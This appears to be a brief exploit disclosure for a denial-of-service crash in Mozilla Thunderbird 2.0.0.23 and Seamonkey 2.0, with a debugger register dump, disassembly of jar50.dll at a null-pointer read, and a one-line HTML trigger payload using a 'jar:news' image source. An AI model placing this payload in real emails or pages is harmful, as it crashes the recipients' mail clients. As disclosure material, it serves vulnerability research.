Thunderbird / Seamonkey Denial Of Service

`   
(jar50.dll)   
  
Mozilla Thunderbird 2.0.0.23   
Mozilla Seamonkey 2.0   
  
  
eax=03d9b850 ebx=80000000 ecx=00000000 edx=00000000 esi=03d9b85c edi=80000000  
eip=60016550 esp=0012d438 ebp=0012d5e4 iopl=0 nv up ei pl nz ac po cy  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217  
  
funkcja: jar50  
6001653a 5e pop esi  
6001653b 8be5 mov esp,ebp  
6001653d 5d pop ebp  
6001653e c21800 ret 0x18  
60016541 8b442404 mov eax,[esp+0x4]  
60016545 56 push esi  
60016546 8b5028 mov edx,[eax+0x28]  
60016549 8b4824 mov ecx,[eax+0x24]  
6001654c 83c0f4 add eax,0xfffffff4  
6001654f 52 push edx  
60016550 8b31 mov esi,[ecx] ; ds:0023:00000000=????????  
60016552 50 push eax  
60016553 51 push ecx  
60016554 ff560c call dword ptr [esi+0xc] ; 12  
60016557 5e pop esi  
60016558 c20c00 ret 0xc  
6001655b 53 push ebx  
6001655c 56 push esi  
6001655d 8b74240c mov esi,[esp+0xc]  
60016561 57 push edi  
60016562 f6465780 test byte ptr [esi+0x57],0x80  
  
  
Nie kochamy Kubusia Puchatka :)  
  
<img src="jar:news://!/">   
`